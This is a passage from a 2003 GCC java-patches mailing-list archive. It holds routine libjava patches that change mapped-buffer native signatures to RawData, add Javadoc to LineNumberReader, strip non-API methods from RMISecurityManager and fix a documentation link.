map_address); public static native short nio_read_Short_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Short_file_channel (FileChannelImpl ch, int index, int limit, short value, - long address); + RawData map_address); public static native char nio_read_Char_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Char_file_channel (FileChannelImpl ch, int index, int limit, char value, - long address); + RawData map_address); public static native int nio_read_Int_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Int_file_channel (FileChannelImpl ch, int index, int limit, - int value, long address); + int value, + RawData map_address); public static native long nio_read_Long_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Long_file_channel (FileChannelImpl ch, int index, int limit, long value, - long address); + RawData map_address); public static native float nio_read_Float_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Float_file_channel (FileChannelImpl ch, int index, int limit, float value, - long address); - public static native double nio_read_Double_file_channel (FileChannelImpl ch, - int index, int limit, - long address); + RawData map_address); + public static native double + nio_read_Double_file_channel (FileChannelImpl ch, int index, int limit, + RawData map_address); public static native void nio_write_Double_file_channel (FileChannelImpl ch, int index, int limit, double value, - long address); + RawData map_address); final public byte get () { byte a = MappedByteFileBuffer.nio_read_Byte_file_channel (ch, position (), - limit (), address); + limit (), + map_address); position (position () + 1); return a; } @@ -145,7 +152,7 @@ final public ByteBuffer put (byte b) { MappedByteFileBuffer.nio_write_Byte_file_channel (ch, position (), limit (), - b, address); + b, map_address); position (position () + 1); return this; } @@ -154,14 +161,14 @@ { byte a = MappedByteFileBuffer.nio_read_Byte_file_channel (ch, index, limit (), - address); + map_address); return a; } final public ByteBuffer put (int index, byte b) { MappedByteFileBuffer.nio_write_Byte_file_channel (ch, index, limit (), b, - address); + map_address); return this; } @@ -203,27 +210,28 @@ final public byte getByte () { - byte a = nio_read_Byte_file_channel (ch, position (), limit (), address); + byte a = nio_read_Byte_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putByte (byte value) { - nio_write_Byte_file_channel (ch, position (), limit (), value, address); + nio_write_Byte_file_channel (ch, position (), limit (), value, map_address); position (position () + 1); return this; } final public byte getByte (int index) { - byte a = nio_read_Byte_file_channel (ch, index, limit(), address); + byte a = nio_read_Byte_file_channel (ch, index, limit(), map_address); return a; } final public ByteBuffer putByte (int index, byte value) { - nio_write_Byte_file_channel (ch, index, limit (), value, address); + nio_write_Byte_file_channel (ch, index, limit (), value, map_address); return this; }; @@ -237,27 +245,28 @@ final public char getChar () { - char a = nio_read_Char_file_channel (ch, position (), limit (), address); + char a = nio_read_Char_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putChar (char value) { - nio_write_Char_file_channel (ch, position (), limit (), value, address); + nio_write_Char_file_channel (ch, position (), limit (), value, map_address); position (position () + 1); return this; } final public char getChar (int index) { - char a = nio_read_Char_file_channel (ch, index, limit (), address); + char a = nio_read_Char_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putChar (int index, char value) { - nio_write_Char_file_channel (ch, index, limit (), value, address); + nio_write_Char_file_channel (ch, index, limit (), value, map_address); return this; }; @@ -271,27 +280,29 @@ final public short getShort () { - short a = nio_read_Short_file_channel (ch, position (), limit (), address); + short a = nio_read_Short_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putShort (short value) { - nio_write_Short_file_channel (ch, position (), limit (), value, address); + nio_write_Short_file_channel (ch, position (), limit (), value, + map_address); position (position () + 1); return this; } final public short getShort (int index) { - short a = nio_read_Short_file_channel (ch, index, limit (), address); + short a = nio_read_Short_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putShort (int index, short value) { - nio_write_Short_file_channel (ch, index, limit (), value, address); + nio_write_Short_file_channel (ch, index, limit (), value, map_address); return this; } @@ -305,28 +316,27 @@ final public int getInt () { - int a = nio_read_Int_file_channel (ch, position (), limit (), address); + int a = nio_read_Int_file_channel (ch, position (), limit (), map_address); position (position () + 1); return a; } final public ByteBuffer putInt (int value) { - nio_write_Int_file_channel (ch, position (), limit (), value, address); + nio_write_Int_file_channel (ch, position (), limit (), value, map_address); position (position () + 1); return this; } final public int getInt (int index) { - int a = nio_read_Int_file_channel (ch, index, limit (), - address); + int a = nio_read_Int_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putInt (int index, int value) { - nio_write_Int_file_channel (ch, index, limit (), value, address); + nio_write_Int_file_channel (ch, index, limit (), value, map_address); return this; } @@ -340,27 +350,28 @@ final public long getLong () { - long a = nio_read_Long_file_channel (ch, position (), limit (), address); + long a = nio_read_Long_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putLong (long value) { - nio_write_Long_file_channel (ch, position (), limit (), value, address); + nio_write_Long_file_channel (ch, position (), limit (), value, map_address); position (position () + 1); return this; } final public long getLong (int index) { - long a = nio_read_Long_file_channel (ch, index, limit (), address); + long a = nio_read_Long_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putLong (int index, long value) { - nio_write_Long_file_channel (ch, index, limit (), value, address); + nio_write_Long_file_channel (ch, index, limit (), value, map_address); return this; } @@ -374,27 +385,29 @@ final public float getFloat () { - float a = nio_read_Float_file_channel (ch, position (), limit (), address); + float a = nio_read_Float_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putFloat (float value) { - nio_write_Float_file_channel (ch, position (), limit (), value, address); + nio_write_Float_file_channel (ch, position (), limit (), value, + map_address); position (position () + 1); return this; } final public float getFloat (int index) { - float a = nio_read_Float_file_channel (ch, index, limit (), address); + float a = nio_read_Float_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putFloat (int index, float value) { - nio_write_Float_file_channel (ch, index, limit (), value, address); + nio_write_Float_file_channel (ch, index, limit (), value, map_address); return this; } @@ -408,27 +421,29 @@ final public double getDouble () { - double a = nio_read_Double_file_channel (ch, position (), limit (), address); + double a = nio_read_Double_file_channel (ch, position (), limit (), + map_address); position (position () + 1); return a; } final public ByteBuffer putDouble (double value) { - nio_write_Double_file_channel (ch, position (), limit (), value, address); + nio_write_Double_file_channel (ch, position (), limit (), value, + map_address); position (position () + 1); return this; } final public double getDouble (int index) { - double a = nio_read_Double_file_channel (ch, index, limit (), address); + double a = nio_read_Double_file_channel (ch, index, limit (), map_address); return a; } final public ByteBuffer putDouble (int index, double value) { - nio_write_Double_file_channel (ch, index, limit (), value, address); + nio_write_Double_file_channel (ch, index, limit (), value, map_address); return this; } } Index: gnu/java/nio/natFileChannelImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natFileChannelImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natFileChannelImpl.cc --- gnu/java/nio/natFileChannelImpl.cc 2 Mar 2003 15:57:13 -0000 1.2 +++ gnu/java/nio/natFileChannelImpl.cc 20 Mar 2003 11:13:41 -0000 @@ -24,6 +24,7 @@ #include #endif +#include #include #include #include @@ -55,20 +56,20 @@ return this; } -jlong -gnu::java::nio::FileChannelImpl::nio_mmap_file (jlong, jlong, jint) +gnu::gcj::RawData* +gnu::java::nio::FileChannelImpl::nio_mmap_file (jlong pos, jlong size, jint /*mode*/) { throw new ::java::io::IOException (JvNewStringUTF ("mmap not implemented")); } void -gnu::java::nio::FileChannelImpl::nio_unmmap_file (jlong, jint) +gnu::java::nio::FileChannelImpl::nio_unmmap_file (gnu::gcj::RawData* map_address, jint size) { throw new ::java::io::IOException (JvNewStringUTF ("munmap not implemented")); } void -gnu::java::nio::FileChannelImpl::nio_msync (jlong, jint) +gnu::java::nio::FileChannelImpl::nio_msync (gnu::gcj::RawData* map_address, jint length) { throw new ::java::io::IOException (JvNewStringUTF ("msync not implemented")); } Index: gnu/java/nio/natMappedByteFileBuffer.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natMappedByteFileBuffer.cc,v retrieving revision 1.1 diff -u -r1.1 natMappedByteFileBuffer.cc --- gnu/java/nio/natMappedByteFileBuffer.cc 25 Feb 2003 11:09:44 -0000 1.1 +++ gnu/java/nio/natMappedByteFileBuffer.cc 20 Mar 2003 11:13:41 -0000 @@ -24,13 +24,14 @@ #include #endif +#include #include #include jbyte gnu::java::nio::MappedByteFileBuffer::nio_read_Byte_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -38,7 +39,7 @@ jchar gnu::java::nio::MappedByteFileBuffer::nio_read_Char_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -46,7 +47,7 @@ jdouble gnu::java::nio::MappedByteFileBuffer::nio_read_Double_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -54,7 +55,7 @@ jfloat gnu::java::nio::MappedByteFileBuffer::nio_read_Float_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -62,7 +63,7 @@ jint gnu::java::nio::MappedByteFileBuffer::nio_read_Int_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -70,7 +71,7 @@ jlong gnu::java::nio::MappedByteFileBuffer::nio_read_Long_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -78,7 +79,7 @@ jshort gnu::java::nio::MappedByteFileBuffer::nio_read_Short_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong) + jint, jint, gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -86,7 +87,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Byte_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jbyte, jlong) + jint, jint, jbyte, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -94,7 +96,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Char_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jchar, jlong) + jint, jint, jchar, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -102,7 +105,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Double_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jdouble, jlong) + jint, jint, jdouble, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -110,7 +114,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Float_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jfloat, jlong) + jint, jint, jfloat, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -118,7 +123,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Int_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jint, jlong) + jint, jint, jint, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -126,7 +132,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Long_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jlong, jlong) + jint, jint, jlong, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } @@ -134,7 +141,8 @@ void gnu::java::nio::MappedByteFileBuffer::nio_write_Short_file_channel (gnu::java::nio::FileChannelImpl*, - jint, jint, jshort, jlong) + jint, jint, jshort, + gnu::gcj::RawData*) { throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); } --Boundary-00=_UMae+QbBdBovPgA-- From java-patches-return-6544-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 08:49:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15243 invoked by alias); 21 Mar 2003 08:49:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15229 invoked from network); 21 Mar 2003 08:49:38 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 21 Mar 2003 08:49:38 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-173.ewetel.net [80.228.73.173]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2L8nZdx017465 for ; Fri, 21 Mar 2003 09:49:36 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wICH-0005sT-00 for ; Fri, 21 Mar 2003 09:48:17 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io.LineNumberReader Date: Fri, 21 Mar 2003 09:50:26 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_SJte+7XqlYpa0qZ" Message-Id: <200303210950.30079.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_SJte+7XqlYpa0qZ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to merge=20 java.io.LineNumberReader mostly with classpath. Only little=20 differences still existing. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+etJWWSOgCCdjSDsRAv5HAJ4pv0E4k2Sx+bTFhiB1ikT5ygFV9ACggTsr yfSYViLXArvaM8i6o2UdeK4=3D =3DsNM0 =2D----END PGP SIGNATURE----- --Boundary-00=_SJte+7XqlYpa0qZ Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1795 diff -u -r1.1795 ChangeLog --- ChangeLog 20 Mar 2003 11:14:35 -0000 1.1795 +++ ChangeLog 21 Mar 2003 08:47:27 -0000 @@ -1,3 +1,15 @@ +2003-03-21 Michael Koch + + * java/io/LineNumberReader.java + (LineNumberReader): Merged documentation with classpath. + (getLineNumber): Likewise. + (setLineNumber): Likewise. + (mark): Likewise. + (reset): Likewise. + (read): Likewise. + (readLine): Likewise. + (skip): Likewise. + 2003-03-20 Michael Koch * gnu/java/nio/FileChannelImpl.java Index: java/io/LineNumberReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/LineNumberReader.java,v retrieving revision 1.5 diff -u -r1.5 LineNumberReader.java --- java/io/LineNumberReader.java 20 Mar 2003 07:47:01 -0000 1.5 +++ java/io/LineNumberReader.java 21 Mar 2003 08:47:27 -0000 @@ -38,7 +38,22 @@ package java.io; /** + * This class functions like a standard Reader except that it + * counts line numbers, and canonicalizes newline characters. As data + * is read, whenever the char sequences "\r", "\n", or "\r\n" are encountered, + * the running line count is incremeted by one. Additionally, the whatever + * line termination sequence was encountered will be converted to a "\n" + * char. Note that this class numbers lines from 0. When the first + * line terminator is encountered, the line number is incremented to 1, and + * so on. Also note that actual "\r" and "\n" characters are looked for. + * The system dependent line separator sequence is ignored. + *

          + * This class counts only line termination characters. If the last line + * read from the stream does not end in a line termination sequence, it + * will not be counted as a line. + * * @author Per Bothner + * @author Aaron M. Renn (arenn@urbanophile.com) * @date April 22, 1998. */ /* Written using "Java Class Libraries", 2nd edition, plus online @@ -52,27 +67,51 @@ * * This implementation is also minimal in the number of fields it uses. */ - public class LineNumberReader extends BufferedReader { /** The current line number. */ int lineNumber; + /** + * Create a new LineNumberReader that reads from the + * specified subordinate Reader. A default 8K char sized + * buffer will be used for reads. + * + * @param in The subordinate Reader to read from + */ public LineNumberReader(Reader in) { super(in, 8192); } + /** + * This method initializes a new LineNumberReader to read + * from the specified subordinate Reader using the specified + * read buffer size. + * + * @param in The subordinate Reader to read from + * @param size The buffer size to use for reading + */ public LineNumberReader(Reader in, int size) { super(in, size); } + /** + * This method returns the current line number + * + * @returns The current line number + */ public int getLineNumber() { return lineNumber; } + /** + * This method sets the current line number to the specified value. + * + * @param line_number The new line number + */ public void setLineNumber(int lineNumber) { this.lineNumber = lineNumber; @@ -92,6 +131,28 @@ return count; } + /** + * This method marks a position in the input to which the stream can be + * "reset" char calling the reset() method. The parameter + * readlimit is the number of chars that can be read from the + * stream after setting the mark before the mark becomes invalid. For + * example, if mark() is called with a read limit of 10, + * then when + * 11 chars of data are read from the stream before the reset() + * method is called, then the mark is invalid and the stream object + * instance is not required to remember the mark. + *

          + * In this class, this method will remember the current line number as well + * as the current position in the stream. When the reset() + * method + * is called, the line number will be restored to the saved line number in + * addition to the stream position. + * + * @param readlimit The number of chars that can be read before the + * mark becomes invalid + * + * @exception IOException If an error occurs + */ public void mark(int readLimit) throws IOException { synchronized (lock) @@ -114,6 +175,17 @@ } } + /** + * This method resets a stream to the point where the mark() + * method + * was called. Any chars that were read after the mark point was set will + * be re-read during subsequent reads. + *

          + * In this class, this method will also restore the line number that was + * current when the mark() method was called. + * + * @exception IOException If an error occurs + */ public void reset() throws IOException { synchronized (lock) @@ -128,6 +200,24 @@ } } + /** + * This method reads an unsigned char from the input stream and returns it + * as an int in the range of 0-65535. This method will return -1 if the + * end of the stream has been reached. + *

          + * Note that if a line termination sequence is encountered (ie, "\r", + * "\n", or "\r\n") then that line termination sequence is converted to + * a single "\n" value which is returned from this method. This means + * that it is possible this method reads two chars from the subordinate + * stream instead of just one. + *

          + * Note that this method will block until a char of data is available + * to be read. + * + * @return The char read or -1 if end of stream + * + * @exception IOException If an error occurs + */ public int read() throws IOException { synchronized (lock) @@ -154,6 +244,28 @@ } } + /** + * This method reads chars from a stream and stores them into a caller + * supplied buffer. It starts storing data at index offset into * the buffer and attemps to read len chars. This method can + * return before reading the number of chars requested. The actual number + * of chars read is returned as an int. A -1 is returned to indicated the + * end of the stream. + *

          + * This method will block until some data can be read. + *

          + * Note that if a line termination sequence is encountered (ie, "\r", + * "\n", or "\r\n") then that line termination sequence is converted to + * a single "\n" value which is stored in the buffer. Only a single + * char is counted towards the number of chars read in this case. + * + * @param buf The array into which the chars read should be stored + * @param offset The offset into the array to start storing chars + * @param len The requested number of chars to read + * + * @return The actual number of chars read, or -1 if end of stream + * + * @exception IOException If an error occurs. + */ public int read(char[] buf, int offset, int count) throws IOException { if (count <= 0) @@ -213,6 +325,17 @@ } } + /** + * This method reads a line of text from the input stream and returns + * it as a String. A line is considered to be terminated + * by a "\r", "\n", or "\r\n" sequence, not by the system dependent line + * separator. + * + * @return The line read as a String or null + * if end of stream. + * + * @exception IOException If an error occurs + */ public String readLine() throws IOException { // BufferedReader.readLine already does this. Shouldn't need to keep @@ -239,6 +362,18 @@ return str; } + /** + * This method skips over characters in the stream. This method will + * skip the specified number of characters if possible, but is not required + * to skip them all. The actual number of characters skipped is returned. + * This method returns 0 if the specified number of chars is less than 1. + * + * @param count The specified number of chars to skip. + * + * @return The actual number of chars skipped. + * + * @exception IOException If an error occurs + */ public long skip(long count) throws IOException { if (count <= 0) @@ -272,3 +407,4 @@ return count - to_do; } } + --Boundary-00=_SJte+7XqlYpa0qZ-- From java-patches-return-6545-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 08:50:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15543 invoked by alias); 21 Mar 2003 08:50:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15530 invoked from network); 21 Mar 2003 08:50:33 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 21 Mar 2003 08:50:33 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-173.ewetel.net [80.228.73.173]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2L8oV8G025514 for ; Fri, 21 Mar 2003 09:50:32 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wIDC-0005sa-00 for ; Fri, 21 Mar 2003 09:49:14 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.rmi.RMIClassLoader Date: Fri, 21 Mar 2003 09:51:26 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_OKte+XTcUCJ0wpz" Message-Id: <200303210951.26827.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_OKte+XTcUCJ0wpz Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to remove all methods that are=20 not part of SUN's API. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+etKOWSOgCCdjSDsRAnwIAJ9pnUVqCv/Tn4HXn0znB8yiHOgruACfexnn tZaDVsg8tuyXr9SZ/9+2TQ0=3D =3DG6Dr =2D----END PGP SIGNATURE----- --Boundary-00=_OKte+XTcUCJ0wpz Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1795 diff -u -r1.1795 ChangeLog --- ChangeLog 20 Mar 2003 11:14:35 -0000 1.1795 +++ ChangeLog 21 Mar 2003 08:47:39 -0000 @@ -1,3 +1,32 @@ +2003-03-21 Michael Koch + + * java/rmi/RMISecurityManager.java + (checkAccept): Removed. + (checkAccess): Likewise. + (checkAccess): Likewise. + (checkAwtEventQueueAccess): Likewise. + (checkConnect): Likewise. + (checkCreateClassLoader): Likewise. + (checkDelete): Likewise. + (checkExec): Likewise. + (checkExit): Likewise. + (checkLink): Likewise. + (checkListen): Likewise. + (checkMemberAccess): Likewise. + (checkMulticast): Likewise. + (checkPackageAccess): Likewise. + (checkPackageDefinition): Likewise. + (checkPermission): Likewise. + (checkPrintJobAccess): Likewise. + (checkPropertiesAccess): Likewise. + (checkPropertyAccess): Likewise. + (checkRead): Likewise. + (checkSecurityAccess): Likewise. + (checkSetFactory): Likewise. + (checkSystemClipboardAccess): Likewise. + (checkTopLevelWindow): Likewise. + (checkWrite): Likewise. + 2003-03-20 Michael Koch * gnu/java/nio/FileChannelImpl.java Index: java/rmi/RMISecurityManager.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/RMISecurityManager.java,v retrieving revision 1.2 diff -u -r1.2 RMISecurityManager.java --- java/rmi/RMISecurityManager.java 22 Jan 2002 22:40:24 -0000 1.2 +++ java/rmi/RMISecurityManager.java 21 Mar 2003 08:47:39 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -37,113 +37,12 @@ package java.rmi; -import java.io.FileDescriptor; -import java.lang.Thread; -import java.lang.Class; -import java.lang.SecurityManager; -import java.net.InetAddress; -import java.security.Permission; - -public class RMISecurityManager extends SecurityManager { - -public RMISecurityManager() { -} - -public void checkAccept(String host, int port) { -} - -public void checkAccess(Thread g) { -} - -public void checkAccess(ThreadGroup g) { -} - -public void checkAwtEventQueueAccess() { -} - -public void checkConnect(String host, int port) { -} - -public void checkConnect(String host, int port, Object context) { -} - -public void checkCreateClassLoader() { -} - -public void checkDelete(String file) { -} - -public void checkExec(String cmd) { -} - -public void checkExit(int status) { -} - -public void checkLink(String lib) { -} - -public void checkListen(int port) { -} - -public void checkMemberAccess ( Class clazz, int which ) { -} - -public void checkMulticast(InetAddress maddr) { -} - -public void checkMulticast(InetAddress maddr, byte ttl) { -} - -public void checkPackageAccess(String pkg) { -} - -public void checkPackageDefinition(String pkg) { -} - -public void checkPermission(Permission perm) { -} - -public void checkPermission(Permission perm, Object context) { -} - -public void checkPrintJobAccess() { -} - -public void checkPropertiesAccess() { -} - -public void checkPropertyAccess(String key) { -} - -/* public void checkPropertyAccess(String key, String def) { -}*/ - -public void checkRead(FileDescriptor fd) { -} - -public void checkRead(String file) { -} - -public void checkRead(String file, Object context) { -} - -public void checkSecurityAccess(String action) { -} - -public void checkSetFactory() { -} - -public void checkSystemClipboardAccess() { -} - -public boolean checkTopLevelWindow(Object window) { - return (true); -} - -public void checkWrite(FileDescriptor fd) { -} - -public void checkWrite(String file) { -} - +/** + * @since 1.1 + */ +public class RMISecurityManager extends SecurityManager +{ + public RMISecurityManager() + { + } } --Boundary-00=_OKte+XTcUCJ0wpz-- From java-patches-return-6546-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 08:55:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22068 invoked by alias); 21 Mar 2003 08:55:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22036 invoked from network); 21 Mar 2003 08:55:47 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.131.111.2) by sources.redhat.com with SMTP; 21 Mar 2003 08:55:47 -0000 Received: from [128.131.111.60] (acrux [128.131.111.60]) by vexpert.dbai.tuwien.ac.at (8.12.8/8.12.8) with ESMTP id h2L8tlxi012551; Fri, 21 Mar 2003 09:55:47 +0100 (CET) Date: Fri, 21 Mar 2003 09:55:48 +0100 (CET) From: Gerald Pfeifer To: gcc-patches@gcc.gnu.org cc: java-patches@gcc.gnu.org, Tom Tromey Subject: PATCH: java/contrib.html fix broken link Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This was broken by our cleanup some time ago. Gerald 2003-03-21 Gerald Pfeifer * contrib.html: Refer to GCC Installation Notes for further information on testing. Index: java//contrib.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/contrib.html,v retrieving revision 1.30 diff -u -3 -p -r1.30 contrib.html --- java//contrib.html 4 Jan 2003 18:34:18 -0000 1.30 +++ java//contrib.html 21 Mar 2003 08:53:18 -0000 @@ -169,12 +169,9 @@ projects.

        1. Send the patch to java-patches and then commit of you're allowed to.
        2. -

          - -There is also some documentation on how to run -test cases. This covers both our built-in tests and extra test -suites we use. -

          +

          More detailed documentation on how to run tests is +included in the GCC installation notes.

          From java-patches-return-6547-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 09:01:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 887 invoked by alias); 21 Mar 2003 09:01:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 748 invoked from network); 21 Mar 2003 09:01:20 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 21 Mar 2003 09:01:20 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-173.ewetel.net [80.228.73.173]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2L91Hdx022348 for ; Fri, 21 Mar 2003 10:01:18 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wINc-0005te-00 for ; Fri, 21 Mar 2003 10:00:00 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.rmi Date: Fri, 21 Mar 2003 10:02:12 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_UUte+XIBte+lxWc" Message-Id: <200303211002.12505.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_UUte+XIBte+lxWc Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to clean up java.rmi a bit. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+etUUWSOgCCdjSDsRAvcrAJ9z6YlwBzLfXb6ob99JdeRzbYSkmgCfdjVA 